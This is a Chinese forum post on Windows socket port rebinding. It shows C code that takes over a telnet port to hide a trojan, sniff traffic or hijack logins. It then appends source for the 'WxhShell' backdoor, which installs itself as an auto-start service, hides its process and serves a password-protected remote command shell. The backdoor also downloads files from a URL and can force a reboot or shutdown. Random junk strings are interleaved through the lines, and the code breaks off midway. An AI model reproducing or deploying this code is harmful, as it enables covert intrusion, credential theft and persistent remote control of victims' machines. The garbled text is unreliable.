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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZY@ntV?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ Ce*5h  
*[|+5LVn  
  saddr.sin_family = AF_INET; -Mz [S  
xc\zRsY`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 't5`Ni  
N"suR}9%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (z?j{J  
51y#A Q@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >[;=c0(  
Vzo< ma^  
  这意味着什么?意味着可以进行如下的攻击: /,UnT(/k(  
D9?.Ru0.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i];P!Gm  
! Dj2/][  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c?u*,d) G  
44|tCB`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a^pbBDi W  
9 <{C9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Pg{1'-  
{]Hv*{ ]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cD}]4  
^_<|~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U+@U/s%8  
Q2uV/M1?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G\TO ]c  
_B&Lyg !J  
  #include l{>j8Ln  
  #include 7.6L1srV  
  #include x +pf@?w  
  #include    Dfa3&# #{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l $"hhI8  
  int main() Z0m`%(MJa  
  { ^B% =P  
  WORD wVersionRequested; (6Z^0GL  
  DWORD ret; aR/?YKA  
  WSADATA wsaData; Jk6}hUH,  
  BOOL val; ]| +M0:2?  
  SOCKADDR_IN saddr; ,3y9yJQa*#  
  SOCKADDR_IN scaddr;  7-!n-  
  int err; c$%*p (zY  
  SOCKET s; Mjy:k|aY"  
  SOCKET sc; .8Bo5)q$a-  
  int caddsize; Wi'}d6c  
  HANDLE mt; +ovK~K $A  
  DWORD tid;   #c>GjUJ.w  
  wVersionRequested = MAKEWORD( 2, 2 ); mV$ebFco0  
  err = WSAStartup( wVersionRequested, &wsaData ); b' y*\9Ru  
  if ( err != 0 ) { -` U |5  
  printf("error!WSAStartup failed!\n"); ;54NQB3L  
  return -1; \`2'W1O  
  } g-~ _gt7  
  saddr.sin_family = AF_INET; $2?AJ/2r$b  
   c{BAQZVc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z qo0P~  
a3tcLd|7J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YcN|L&R.  
  saddr.sin_port = htons(23); : ~vodh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H.@$#D  
  { jTvcKm|q  
  printf("error!socket failed!\n"); 2Lf,~EV  
  return -1; =GPXuo  
  } ApXf<MAy  
  val = TRUE; q[,p#uJ]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <46&R[17M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H@=oVyn/  
  { 8(L$a1#5W  
  printf("error!setsockopt failed!\n"); 3R+% C*7  
  return -1; j|k/&q[St  
  } U]=yCEb8p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]?tRO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wtY)(k a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g<W]NYm  
lFjz*g2'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &Q883A J  
  { H9/!oI1P?  
  ret=GetLastError(); lFnls6dp  
  printf("error!bind failed!\n"); 4 XjwU`  
  return -1; b>; ?{  
  } aDF@A S  
  listen(s,2); im2mA8OH  
  while(1) da7"Q{f+  
  { ws'e  
  caddsize = sizeof(scaddr); gjDNl/r/  
  //接受连接请求 w}xA@JgQ%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mWT+15\5r(  
  if(sc!=INVALID_SOCKET) |nefg0`rk  
  { >^s2$@J?p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V*jl  
  if(mt==NULL) >G6kF!V  
  { d`^3fr'.4A  
  printf("Thread Creat Failed!\n"); 7g\v (P  
  break; MzIDeZ  
  } 4z0gyCAC A  
  } 5n3yc7NPP  
  CloseHandle(mt); 8R MM97@1Q  
  } |>;PV4])(  
  closesocket(s); 8z`ZHn3=  
  WSACleanup(); ieZ$@3#&z  
  return 0; n n7LL+h  
  }   wQ+pVu?6_  
  DWORD WINAPI ClientThread(LPVOID lpParam) >v+1 v  
  { qLEYBv-3  
  SOCKET ss = (SOCKET)lpParam; Msqqjhoy  
  SOCKET sc; ;ElCWs->\  
  unsigned char buf[4096]; {-4+=7Sg1  
  SOCKADDR_IN saddr; m!FuC=e  
  long num; [c,V=:Cq  
  DWORD val; vB7Gx>BQd  
  DWORD ret; wN[lC|1c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1>Sfv|ZP,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X _ZO)|  
  saddr.sin_family = AF_INET; _E C7r>V&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w6vbYPCN  
  saddr.sin_port = htons(23); _k@cs^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5iA>Z!sP[  
  { V4,Gt ]4  
  printf("error!socket failed!\n"); Nc\DXc-N  
  return -1; 2I B{FO/  
  } X:W\EeH  
  val = 100; Q!l(2nva  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Lz 1.+:Ag  
  { JvAXLT  
  ret = GetLastError(); s<YN*~  
  return -1; \!^=~` X-  
  } 2.^{4 1:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |4@cX<d.  
  { K#OL/2^ 5  
  ret = GetLastError(); 'zUV(K?2]  
  return -1; 1M`E.Ztw*  
  } -}6ew@GE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'yiv.<4  
  { kkl'D!z2g  
  printf("error!socket connect failed!\n"); 1V2]@VQF  
  closesocket(sc); }b2YX+/e$f  
  closesocket(ss); B:"D)/\  
  return -1; T1Py6Q,-  
  } zH1 ;h  
  while(1) ?'k_K:_  
  { 2;Z 0pPR&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sa.H,<;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }TTghE!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T,!EL +o4  
  num = recv(ss,buf,4096,0); l= {Y[T&  
  if(num>0) &{j!!LL  
  send(sc,buf,num,0); ZxtO.U2  
  else if(num==0) ^Laqq%PI  
  break; N:lE{IvRJ  
  num = recv(sc,buf,4096,0); ,b5'<3\  
  if(num>0) ?s2-iuMPd  
  send(ss,buf,num,0); T";evM66  
  else if(num==0) *O[/KR%  
  break; utmJ>GWSI  
  }  dfFw6R  
  closesocket(ss); Rw'}>?k]  
  closesocket(sc); 1hw.gn*JK>  
  return 0 ; 4. R(`#f  
  } 336ETrG^0  
;a?<7LIx  
=AO (  
========================================================== k^cZePqE6d  
(xo`*Q,+  
下边附上一个代码,,WXhSHELL LcGKYl(\K  
XR..DVab  
========================================================== H4ie$/[$8  
bll[E}E|3  
#include "stdafx.h" :6Z2@9.}w  
B.y}S  
#include <stdio.h> (G F}c\=T7  
#include <string.h> K/zb6=->  
#include <windows.h> rN 9qH  
#include <winsock2.h> YC1Bgz  
#include <winsvc.h> dU3A:uS^  
#include <urlmon.h> "73*0'm  
_&]7  
#pragma comment (lib, "Ws2_32.lib") n#6{K6}k~  
#pragma comment (lib, "urlmon.lib") %%K3J<5  
(9`dLw5  
#define MAX_USER   100 // 最大客户端连接数 <r,5F:  
#define BUF_SOCK   200 // sock buffer (m'-1wX.  
#define KEY_BUFF   255 // 输入 buffer  _".h(  
BI%^7\HZ  
#define REBOOT     0   // 重启 Tz)Ku  
#define SHUTDOWN   1   // 关机 ?wHhBh-Q  
2Vti|@JYp  
#define DEF_PORT   5000 // 监听端口 x1Gx9z9  
jOT/|k  
#define REG_LEN     16   // 注册表键长度 m]V#fRC  
#define SVC_LEN     80   // NT服务名长度 "m{i`<,  
$,K@xq5  
// 从dll定义API 'dWUE-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -Kg.w*\H7/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O1~7#nJ*4[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c1E{J <pZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H<|}p Z  
__eB 7]#E  
// wxhshell配置信息 (W#CDw<ja  
struct WSCFG { 2->Lz  
  int ws_port;         // 监听端口 D]_6OlIE#'  
  char ws_passstr[REG_LEN]; // 口令 VHPqEaR  
  int ws_autoins;       // 安装标记, 1=yes 0=no /ckk qk"  
  char ws_regname[REG_LEN]; // 注册表键名 j_5&w Znq  
  char ws_svcname[REG_LEN]; // 服务名 r^6@Zwox]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v)np.j0V7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J;~YD$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :xHKbWz6j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M @KQOAzt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E{[Y8U1n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C)c*s C5N  
i#4+l$q  
}; 5wW5 n5YS  
H ~3.F  
// default Wxhshell configuration [R1|=kGU  
struct WSCFG wscfg={DEF_PORT, ~ S<aIk0l  
    "xuhuanlingzhe", 4`"}0:t.  
    1, SW%}S*h  
    "Wxhshell", Ms+ekY)  
    "Wxhshell", SrH::-{  
            "WxhShell Service", mS[``$Z\!  
    "Wrsky Windows CmdShell Service", 7[P-;8)tq  
    "Please Input Your Password: ", hBRi5&%  
  1, .`~?w+ ~  
  "http://www.wrsky.com/wxhshell.exe", 7_PY%4T"  
  "Wxhshell.exe" F?tWx+N<{  
    }; [K,P)V>K  
JwxKWVpWv  
// 消息定义模块 |hj!NhBe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =PY{Elf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UUDHknm"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; baD063P;  
char *msg_ws_ext="\n\rExit."; %y9sC1T  
char *msg_ws_end="\n\rQuit."; 5qH*"i+|s  
char *msg_ws_boot="\n\rReboot..."; Z[w}PN,xV  
char *msg_ws_poff="\n\rShutdown..."; #8M?y*<I  
char *msg_ws_down="\n\rSave to "; fZ &  
lCUYE"o  
char *msg_ws_err="\n\rErr!"; \,Ws=9f  
char *msg_ws_ok="\n\rOK!"; UFT JobU  
6QA`u*  
char ExeFile[MAX_PATH]; bwhH2^ !  
int nUser = 0; , d $"`W2  
HANDLE handles[MAX_USER]; $%cHplQz5  
int OsIsNt;  s&pnB  
&*" *b\  
SERVICE_STATUS       serviceStatus; q\?p' i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z" ;q w  
ssLswb  
// 函数声明 XxMZU(5  
int Install(void); Dq~;h \='  
int Uninstall(void); `dcz9 *  
int DownloadFile(char *sURL, SOCKET wsh); Q;VuoHj!  
int Boot(int flag); ? -:2f#bC  
void HideProc(void); @k h<b<a4  
int GetOsVer(void); ' m~=sC_uL  
int Wxhshell(SOCKET wsl); gZ^Qt.6Z  
void TalkWithClient(void *cs); b9X*2pnWJ  
int CmdShell(SOCKET sock); Dh8'og)7  
int StartFromService(void); +={K -g7U  
int StartWxhshell(LPSTR lpCmdLine); 3%?tUt  
\\\8{jq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?110} [jw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <skqq+  
gep#o$P  
// 数据结构和表定义 hm73Zy  
SERVICE_TABLE_ENTRY DispatchTable[] = \t=0rFV)t  
{ tjFX(;^[  
{wscfg.ws_svcname, NTServiceMain}, :6lvX$  
{NULL, NULL} {>1FZsR49t  
}; exhU!p8  
+`GtZnt#  
// 自我安装 z5$Q"Y.D  
int Install(void) u|t l@_  
{ a)ry}E =f  
  char svExeFile[MAX_PATH]; 0pMN@Cz6  
  HKEY key; /_l\7MeI  
  strcpy(svExeFile,ExeFile); )  FR7t  
<r: AJ;  
// 如果是win9x系统,修改注册表设为自启动 @p*)^D6E\  
if(!OsIsNt) { 0i_:J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iv$YUM+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I2*rtVAP'j  
  RegCloseKey(key); 6E}9uwQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pt"H_SW~k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &kIeW;X  
  RegCloseKey(key); '3672wF/  
  return 0; swF{}S"  
    } ).5 X  
  } ) 6)bI.BY  
} AChz}N$C  
else { EB*sd S  
:_R:>n9 p  
// 如果是NT以上系统,安装为系统服务 *(Dmd$|0|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uAPVR  
if (schSCManager!=0) )cJ>&g4]  
{ TsTc3  
  SC_HANDLE schService = CreateService }'x;J   
  ( k|)fl l  
  schSCManager, >lRZvf-i  
  wscfg.ws_svcname, tVn?cS  
  wscfg.ws_svcdisp, [ /o'l:  
  SERVICE_ALL_ACCESS, [7v|bd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |HK:\)L%  
  SERVICE_AUTO_START, B`}um;T#~,  
  SERVICE_ERROR_NORMAL, sP(+Z^/  
  svExeFile, *V6| FU  
  NULL, -x//@8"   
  NULL, ?mg@zq8  
  NULL, h+ [6i{  
  NULL, ~18a&T:  
  NULL [%.v;+L  
  ); jn2=)KBa_  
  if (schService!=0) lxL5Rit@Px  
  { y+(\:;y$7  
  CloseServiceHandle(schService); hk~/W}sI  
  CloseServiceHandle(schSCManager); ,L/x\_28  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TQ4@|S:OF  
  strcat(svExeFile,wscfg.ws_svcname); ;/K2h_=3z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1)(>'pY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J$3g3%t  
  RegCloseKey(key); $`F9e5}G  
  return 0; W'[V$*  
    } X$Vi=fvt  
  } TLdlPBnr8  
  CloseServiceHandle(schSCManager); s6bsVAO>  
} Cu[-<>my  
} x)::^'74  
?%s>a8w  
return 1; BN_h3|)  
} u7!9H<{>P  
4V,.Oi  
// 自我卸载 0xB2  
int Uninstall(void) o<`hj&s  
{ %nZl`<M  
  HKEY key; @UD:zUT)F  
#4^d#Gj  
if(!OsIsNt) { xVm-4gB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & LE5' .s  
  RegDeleteValue(key,wscfg.ws_regname); j_Szw w-  
  RegCloseKey(key); K;?D^n.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ?%,NOX  
  RegDeleteValue(key,wscfg.ws_regname); v 4ot08 C  
  RegCloseKey(key); Cx7-I0!  
  return 0; 1+x" 5<(W  
  } QZ a.c  
} NX @FUct;  
} )[Y B&  
else { Ed9Uw 7  
3nxG>D7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~66xO9s  
if (schSCManager!=0) OviS(}v4@  
{ AYts &+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ag=d6q  
  if (schService!=0) _P;D.>?  
  { (f#(B2j  
  if(DeleteService(schService)!=0) { GtA`0B  
  CloseServiceHandle(schService); )g0fN+Mb  
  CloseServiceHandle(schSCManager); *r7v Dc  
  return 0; zKJ2 ~=  
  } )pnyVTKt  
  CloseServiceHandle(schService); @AsJnf$y  
  } ?e7]U*jEU  
  CloseServiceHandle(schSCManager); {MUB4-@?F$  
} )- C3z   
} kxn&f(5  
d$dy6{/YD  
return 1; zZ5:)YiW-  
} ccD+AGM.  
\o9 \i kR  
// 从指定url下载文件 C* 7/iRe  
int DownloadFile(char *sURL, SOCKET wsh) wX$:NOO  
{ &p0e)o~Ux  
  HRESULT hr; -yYdj1y;  
char seps[]= "/"; 7s9h:/Lu  
char *token; bDI%}k9#  
char *file; @f!X%)\;x  
char myURL[MAX_PATH]; .L'w/"O  
char myFILE[MAX_PATH]; M>8J_{r^  
N.F5)04  
strcpy(myURL,sURL); XYE|=Tr]  
  token=strtok(myURL,seps); -%K!Ra\W  
  while(token!=NULL)  C0rf  
  { ']]d-~:  
    file=token; LF<&gC  
  token=strtok(NULL,seps); k9|5TLXq?  
  } Z:; }  
RaZ>.5 D  
GetCurrentDirectory(MAX_PATH,myFILE); iCt.rr~;V  
strcat(myFILE, "\\"); 2iAC_"n  
strcat(myFILE, file); 7*/{m K)  
  send(wsh,myFILE,strlen(myFILE),0); H=r-f@EOrI  
send(wsh,"...",3,0); bp1AN9~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8% @| /  
  if(hr==S_OK) wBPo{  
return 0; 6Rd4waj_,U  
else %x)b Z=An  
return 1; *Ak.KBg  
6|TSH$w_  
} tF2"IP.  
jYsAL=oh,*  
// 系统电源模块 s6H'}[E<  
int Boot(int flag) S63 Zk0(25  
{ jm_-f  
  HANDLE hToken; rS8a/d~;0  
  TOKEN_PRIVILEGES tkp; U=>S|>daR  
$YYWpeW '  
  if(OsIsNt) { gk]QR.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yPyu)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '<Z[e`/  
    tkp.PrivilegeCount = 1; |WS)KR !  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1uF$$E6[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '\Xkvi  
if(flag==REBOOT) { rIb+c=|F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cj5mM[:s  
  return 0; t=_^$M,yr  
} 5dBftTv?  
else { OvdT* g=8*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [P$Xr6#  
  return 0; _Hb;)9y  
} kmB!NxF>)F  
  } =8^+M1I  
  else { -(VJ,)8t2  
if(flag==REBOOT) { mh }M|h5Im  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yTm \O UD  
  return 0; ?u|??z%  
} 8tvmqe_G  
else { .6?"<zdPU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9>}&dQ8  
  return 0; b F=MQ  
} %1z;l.c  
} 0zt]DCdY  
A^U84kV=  
return 1; ^$c#L1 C  
} g` rr3jP  
l.YE@EL  
// win9x进程隐藏模块 R|; BO:S1  
void HideProc(void) *dBy<dIy  
{ a[{$4JpK  
5Rqdo\vE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |}"YUk^  
  if ( hKernel != NULL ) 6j E.X  
  { gF6> /  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {gMe<y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *_V+K  
    FreeLibrary(hKernel); 9#8vPjXW}.  
  } {q>%Sr]9  
0B6!$) *-i  
return; <o EAy  
} ~id6^#&>  
K:Z$V  
// 获取操作系统版本 w[~G^x&  
int GetOsVer(void) mxNd  
{ F)3+IuY  
  OSVERSIONINFO winfo; %9-^,og  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rv1W&s&  
  GetVersionEx(&winfo); T"wg/mT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U}92%W?  
  return 1; ) f?I{  
  else *ug~LK5Y.  
  return 0; :!gNOR6Lh  
} 'g#%>  
ZL|aB886  
// 客户端句柄模块 |}zWH=6  
int Wxhshell(SOCKET wsl) @ @[xTyA  
{ y)kxR  
  SOCKET wsh; dsTX?E<R  
  struct sockaddr_in client; <q63?Ms'  
  DWORD myID; 4uF.kz-cg  
jAJ='|[X\  
  while(nUser<MAX_USER) =Rd`"]Mnfb  
{ -()WTdIy  
  int nSize=sizeof(client); VL%. maj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :a wt7lqv  
  if(wsh==INVALID_SOCKET) return 1; J4bP(=w!  
(j}7|*.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v l"8Oi*r^  
if(handles[nUser]==0) x0j5D  
  closesocket(wsh); rPH7 ]]  
else aZ@pfWwa:  
  nUser++; 0E.N3iU  
  } T zL|{9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U>tR:)  
_CD~5EA:  
  return 0; /HIyQW\Ki-  
} JFv70rBe  
eV7;#w<]  
// 关闭 socket ^h?fr`  
void CloseIt(SOCKET wsh) o3 0C\  
{ .W]k 8N E  
closesocket(wsh); xG!~TQ  
nUser--; V?XQjH1X  
ExitThread(0); x`E<]z*w}  
} ; Y/nS  
l";Yw]:^  
// 客户端请求句柄 FjCGD4x1N  
void TalkWithClient(void *cs) 99yWUC,  
{ Q/o,2R  
9NTNulD>P  
  SOCKET wsh=(SOCKET)cs; 8Lgt  
  char pwd[SVC_LEN]; ky2]%cw  
  char cmd[KEY_BUFF]; 8 063LWV  
char chr[1]; 're:_;lG  
int i,j; (xgw';g  
 Bx45yaT  
  while (nUser < MAX_USER) { E &9<JS  
r<!hEWO>v  
if(wscfg.ws_passstr) { 'T eH(?3G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XFWpHe_ L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O)jD2X?  
  //ZeroMemory(pwd,KEY_BUFF); B:h<iU:'D  
      i=0; )<5k+O~  
  while(i<SVC_LEN) { L:HvrB~  
^J]&($-  
  // 设置超时 @gN"Q\;F  
  fd_set FdRead; ^E^`"  
  struct timeval TimeOut; pU_3Z3CeE  
  FD_ZERO(&FdRead); 7y$\|WG?!r  
  FD_SET(wsh,&FdRead); n])#<0  
  TimeOut.tv_sec=8; }y6)d.  
  TimeOut.tv_usec=0; v,i|:;G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); & /8Tth86  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1.14tS-}[4  
^QNc!{`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Qb,zS6  
  pwd=chr[0]; u1meys a{0  
  if(chr[0]==0xd || chr[0]==0xa) { X['9;1Xr  
  pwd=0; uZ6krI  
  break; X&9: ^$m  
  } #Hrzk!&9   
  i++; ZV gfrvZP  
    } JpS}X\]i  
#gbB// <  
  // 如果是非法用户,关闭 socket d-b04Q7DQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t@!n?j I  
} Z:9Q~}x8  
?=&; A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :|;@FkQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $z=%e#(!I  
G(t:s5:  
while(1) { l@);U%\pS  
v@$N,g  
  ZeroMemory(cmd,KEY_BUFF); \D|IN'!D  
? Ek)" l  
      // 自动支持客户端 telnet标准   ~ *&\5rPb  
  j=0; C@XS  
  while(j<KEY_BUFF) { ny{C,1QG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZR!8hw8  
  cmd[j]=chr[0]; HAn{^8"@  
  if(chr[0]==0xa || chr[0]==0xd) { *$=i1w  
  cmd[j]=0; <IR#W$[  
  break; -,")GA+[7  
  } necY/&Ld-  
  j++; =e6p v#  
    } |<Ls;:5.  
@6UtnX'd  
  // 下载文件 !@& 3q|  
  if(strstr(cmd,"http://")) { |O(>{GH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :9QU\{2  
  if(DownloadFile(cmd,wsh)) v +4v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZxvH1qx8  
  else  rDFrreQP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jZ.yt+9  
  } SWr TM  
  else { S# ]] h/  
t2,II\K l  
    switch(cmd[0]) { ]r;rAOWVV  
  k3bQ32()  
  // 帮助 yv-R<c!'  
  case '?': { >SXSrXyYX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ob>)F^.iS  
    break; 5qrD~D '  
  } RQ E]=N  
  // 安装 q=t!COS  
  case 'i': { O=A R`r#u  
    if(Install()) *5Zow3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ArUoYb B  
    else yx8G9SO?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CmB_g?K  
    break; (}b~}X9  
    } 4<[?qd 3v=  
  // 卸载 Z 7@'I0;A  
  case 'r': { Xy(QK2|  
    if(Uninstall()) jz f~n~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2E40&  
    else 2BC!,e$Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \~#\ [r_  
    break; L$=R/l  
    } mW{;$@PLF"  
  // 显示 wxhshell 所在路径 PzPNvV/o  
  case 'p': { 7 (2}Vs!5  
    char svExeFile[MAX_PATH]; 0se%|Z|8  
    strcpy(svExeFile,"\n\r"); k*A(7qQA`4  
      strcat(svExeFile,ExeFile); )>M L7y  
        send(wsh,svExeFile,strlen(svExeFile),0); FJ84 'T\~  
    break; 3X(^`lAf)  
    } hp)>Nzdx  
  // 重启 !5dn7Wuj  
  case 'b': { -`4]u!A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZJ{DW4#t  
    if(Boot(REBOOT)) ftY&Q#[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #)S}z+I  
    else { b]]k\b  
    closesocket(wsh); .!~ysy  
    ExitThread(0); Kvg=7o  
    } \];|$FQg  
    break; ?`TJ0("z"  
    } &m5^ YN$b  
  // 关机 L@\t] ~  
  case 'd': { W,~*pyLdO  
